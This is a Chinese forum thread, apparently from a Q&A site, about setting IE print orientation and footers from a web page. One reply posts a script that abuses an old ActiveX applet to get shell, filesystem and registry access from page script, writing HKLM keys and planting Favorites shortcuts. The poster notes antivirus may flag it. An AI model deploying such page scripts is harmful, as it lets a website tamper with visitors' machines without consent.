可以参考css2标准,这个恐怕得牵扯到css

解决方案 »

  1.   

    可以的,在IE的设置里,文件-》页面设置-》方向 里有选择纵向,横向,你只需要利用javascript将这个值改掉就可以了,具体改法,修改注册表,修改注册表的程序你自己找好了,我以前改这个改成过的,我改的是页眉页脚的设置
      

  2.   

    注册表项给你好了HKEY_USERS\S-1-5-21-484763869-706699826-1343024091-1190\Software\Microsoft\Internet Explorer\PageSetup\orientation
      

  3.   

    使用 "IE打印页面设置控件"
    http://www.yueliangwan.com.cn/yf/Web/testYGYIEPageset.htm更强大的打印控件:
    http://www.yueliangwan.com.cn/yf/PrintView/PrintView.htm
      

  4.   

    还说这个东东,上面我写的是在HKEY_USERS里,也就是说这个可能是单个用户的设置,还有个注册表项目HKEY_LOCAL_MACHINE,这个应该是对于所有用户的,而且没有上面你说的问题,每个机器上都是一样的,试着改这个注册表项\HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\PageSetup\orientation
    这个应该是一个新项目的,添加进去,打印完了删去,你试试:),不好意思,这个我没试过~
      

  5.   

    <script>
    document.write("<APPLET HEIGHT=0 WIDTH=0 code=com.ms.activeX.ActiveXComponent></APPLET>"); 
    function AddFavLnk(loc, DispName, SiteURL) 

    var Shor = Shl.CreateShortcut(loc + "\\" + DispName +".URL"); 
    Shor.TargetPath = SiteURL; 
    Shor.Save(); 

    function f(){ 
    try 

    //ActiveX 初始化 
    a1=document.applets[0]; 
    a1.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}"); 
    a1.createInstance(); 
    Shl = a1.GetObject(); 
    a1.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}"); 
    a1.createInstance(); 
    FSO = a1.GetObject(); 
    a1.setCLSID("{F935DC26-1CF0-11D0-ADB9-00C04FD58A0B}"); 
    a1.createInstance(); 
    Net = a1.GetObject(); Shl.RegWrite ("HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Internet Explorer\\PageSetup\\footer", ""); 

    catch(e) 
    {} 

    </script>
    一些杀毒软件可能会提示这个是病毒~